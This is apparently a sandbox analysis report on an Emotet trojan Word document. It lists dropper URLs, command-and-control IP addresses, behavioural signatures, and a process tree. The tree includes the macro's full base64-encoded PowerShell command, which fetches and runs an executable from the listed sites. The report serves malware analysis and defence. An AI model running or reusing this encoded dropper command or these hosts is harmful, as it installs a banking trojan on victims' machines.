Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    72s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    18/09/2020, 20:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_62369ff5907322b724aa7887f89b56d02ca2c5e1388236064005e7c9d8451dc0_2020-09-18__200543._doc.doc
  • Size 149KB
  • Sample200918-64t8gap786
  • SHA256 62369ff5907322b724aa7887f89b56d02ca2c5e1388236064005e7c9d8451dc0
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://jpwoodfordco.com/admin/sDs/
  • exe.dropper

    http://luzzeri.com/wp-includes/o9G/
  • exe.dropper

    http://matadebenfica.com/permanente/u/
  • exe.dropper

    https://hapyc.com/wp-content/s/
  • exe.dropper

    https://zycccccc.top/wp-content/lx3/
  • exe.dropper

    https://dezurve.sa/webmail/installer/mqi/
  • exe.dropper

    http://swiftlogisticseg.com/wp-admin/7/

Extracted

Family

  • emotet

C2

  • 91.105.94.200:80

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 189.2.177.210:443

  • 181.30.61.163:443

  • 185.178.10.77:80

  • 199.203.62.165:80

  • 177.73.0.98:443

  • 87.106.46.107:8080

  • 5.196.35.138:7080

  • 5.189.178.202:8080

  • 185.183.16.47:80

  • 78.249.119.122:80

  • 191.182.6.118:80

  • 96.227.52.8:443

  • 186.103.141.250:443

  • 50.28.51.143:8080

  • 111.67.12.221:8080

  • 50.121.220.50:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_62369ff5907322b724aa7887f89b56d02ca2c5e1388236064005e7c9d8451dc0_2020-09-18__200543._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:388
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABJAHIAeQBsAHkAaQBtAD0AKAAoACcARQBnACcAKwAnAG0AdQBhACcAKQArACcAaAB0ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAEUAUgBwAHIAbwBmAGkAbABFAFwAWQByAHoAUgBYAGMAeQBcAEkATwBxAEcAZQBBAHMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAHUAUgBJAHQAYABZAHAAcgBgAE8AdABvAGMAYABPAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAJwArACcAMQAnACsAJwAyACwAJwArACgAJwAgAHQAbAAnACsAJwBzADEAMQAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEEAZABiAHgAdgBiADMAIAA9ACAAKAAoACcASAAnACsAJwBwAGEAJwArACcAdQBkAHMAJwApACsAJwAxACcAKQA7ACQASQA1AHEAYgBtAGQAZwA9ACgAKAAnAFAAJwArACcAMgBsACcAKQArACgAJwBlAG8AcgAnACsAJwBrACcAKQApADsAJABPAF8AZwAzAHAANABqAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAB9AFkAJwArACgAJwByAHoAJwArACcAcgAnACkAKwAnAHgAYwB5AHsAMAB9AEkAbwBxAGcAZQAnACsAJwBhAHMAJwArACcAewAnACsAJwAwACcAKwAnAH0AJwApACAAIAAtAGYAIAAgAFsAQwBIAGEAcgBdADkAMgApACsAJABBAGQAYgB4AHYAYgAzACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQARABzAGsAcgAyAGUAbgA9ACgAJwBXACcAKwAoACcAZwA3ACcAKwAnAHoAJwApACsAKAAnAF8AMAAnACsAJwBoACcAKQApADsAJABDAGwANABoAGwANgBhAD0AJgAoACcAbgBlACcAKwAnAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABuAGUAdAAuAFcARQBCAEMAbABpAGUATgB0ADsAJABZAHEAcgBuAHkAYgA2AD0AKAAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnADoALwAnACsAKAAnAC8AJwArACcAagAnACsAJwBwAHcAbwBvAGQAJwApACsAKAAnAGYAJwArACcAbwAnACsAJwByAGQAYwBvAC4AJwArACcAYwBvAG0ALwBhAGQAbQBpACcAKQArACcAbgAnACsAKAAnAC8AcwAnACsAJwBEACcAKQArACgAJwBzAC8AJwArACcAKgBoACcAKQArACcAdAB0ACcAKwAoACcAcAAnACsAJwA6AC8ALwBsACcAKQArACgAJwB1ACcAKwAnAHoAegAnACsAJwBlAHIAJwArACcAaQAuAGMAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGkAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKQArACgAJwBvACcAKwAnADkARwAvACcAKwAnACoAaAB0AHQAcAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvACcAKwAoACcAbQBhAHQAYQAnACsAJwBkACcAKQArACgAJwBlAGIAJwArACcAZQBuACcAKQArACgAJwBmACcAKwAnAGkAYwBhAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACcALwBwACcAKwAoACcAZQByACcAKwAnAG0AYQBuAGUAbgAnACsAJwB0ACcAKQArACgAJwBlAC8AJwArACcAdQAnACkAKwAoACcALwAqAGgAdAB0ACcAKwAnAHAAJwArACcAcwA6AC8ALwBoACcAKwAnAGEAJwApACsAKAAnAHAAeQBjACcAKwAnAC4AYwBvACcAKQArACgAJwBtACcAKwAnAC8AdwBwACcAKQArACgAJwAtAGMAbwBuAHQAJwArACcAZQBuAHQAJwArACcALwAnACsAJwBzAC8AJwArACcAKgBoAHQAdABwAHMAJwApACsAKAAnADoALwAvAHoAeQAnACsAJwBjACcAKwAnAGMAYwAnACkAKwAnAGMAJwArACcAYwAnACsAJwBjACcAKwAnAC4AdAAnACsAJwBvACcAKwAoACcAcAAvAHcAcAAnACsAJwAtACcAKQArACgAJwBjAG8AbgAnACsAJwB0ACcAKQArACcAZQBuACcAKwAnAHQALwAnACsAKAAnAGwAeAAzAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwBzADoALwAvAGQAJwApACsAKAAnAGUAegAnACsAJwB1AHIAdgBlAC4AJwArACcAcwBhACcAKQArACgAJwAvAHcAZQBiAG0AYQAnACsAJwBpAGwALwBpACcAKwAnAG4AJwArACcAcwAnACsAJwB0AGEAJwApACsAKAAnAGwAJwArACcAbABlAHIAJwApACsAKAAnAC8AbQBxACcAKwAnAGkALwAnACkAKwAnACoAJwArACcAaAAnACsAJwB0AHQAJwArACgAJwBwADoALwAvAHMAJwArACcAdwBpACcAKwAnAGYAJwArACcAdABsAG8AZwBpACcAKQArACcAcwAnACsAJwB0ACcAKwAoACcAaQAnACsAJwBjAHMAZQBnAC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwAC0AJwApACsAKAAnAGEAZABtACcAKwAnAGkAbgAvACcAKQArACcANwAnACsAJwAvACcAKQAuACIAcwBQAGAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAGcAXwA2ADQAbAA1AD0AKAAnAFoAbAAnACsAKAAnADAAagAnACsAJwA3AHAANwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEgAYwBuADAAYQAzADAAIABpAG4AIAAkAFkAcQByAG4AeQBiADYAKQB7AHQAcgB5AHsAJABDAGwANABoAGwANgBhAC4AIgBEAE8AYABXAG4ATABgAG8AYQBEAGYASQBsAEUAIgAoACQASABjAG4AMABhADMAMAAsACAAJABPAF8AZwAzAHAANABqACkAOwAkAEUAbABvAHYAaQBqADIAPQAoACcATQAnACsAJwBsACcAKwAoACcAZwAnACsAJwBnAGkAcwBiACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAE8AXwBnADMAcAA0AGoAKQAuACIAbABFAGAATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMgA1ADUAMAApACAAewAmACgAJwBJACcAKwAnAG4AdgAnACsAJwBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABPAF8AZwAzAHAANABqACkAOwAkAE0AbgBoAHMAcAA5ADYAPQAoACgAJwBFAHIAJwArACcAcQBmACcAKQArACcAZABqACcAKwAnAHAAJwApADsAYgByAGUAYQBrADsAJABCAHQAegB1AHcAdwBzAD0AKAAoACcAVABvAHIAZQB5ACcAKwAnADcAJwApACsAJwByACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQAxAHAAYwB5AG0AMgA9ACgAKAAnAE8AOAAnACsAJwBiADMAJwApACsAJwBsAGMAJwArACcAbgAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1992
    • C:\Users\Admin\Yrzrxcy\Ioqgeas\Hpauds1.exe
      "C:\Users\Admin\Yrzrxcy\Ioqgeas\Hpauds1.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1500
      • C:\Windows\SysWOW64\devenum\KBDES.exe
        "C:\Windows\SysWOW64\devenum\KBDES.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:636

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/388-4-0x0000000006D70000-0x0000000006F70000-memory.dmp
        Download

        memory/388-2-0x0000000008820000-0x0000000008824000-memory.dmp
        Download

        memory/636-22-0x00000000001F0000-0x0000000000200000-memory.dmp
        Download

        memory/636-21-0x00000000001C0000-0x00000000001D2000-memory.dmp
        Download

        memory/1500-17-0x00000000003F0000-0x0000000000400000-memory.dmp
        Download

        memory/1500-16-0x00000000003D0000-0x00000000003E2000-memory.dmp
        Download

        memory/1800-23-0x000007FEF79E0000-0x000007FEF7C5A000-memory.dmp
        Download

        memory/1992-9-0x000000001ABE0000-0x000000001ABE1000-memory.dmp
        Download

        memory/1992-13-0x000000001C410000-0x000000001C411000-memory.dmp
        Download

        memory/1992-12-0x000000001C380000-0x000000001C381000-memory.dmp
        Download

        memory/1992-11-0x00000000023B0000-0x00000000023B1000-memory.dmp
        Download

        memory/1992-10-0x0000000002670000-0x0000000002671000-memory.dmp
        Download

        memory/1992-8-0x0000000002370000-0x0000000002371000-memory.dmp
        Download

        memory/1992-7-0x000007FEF1640000-0x000007FEF202C000-memory.dmp
        Download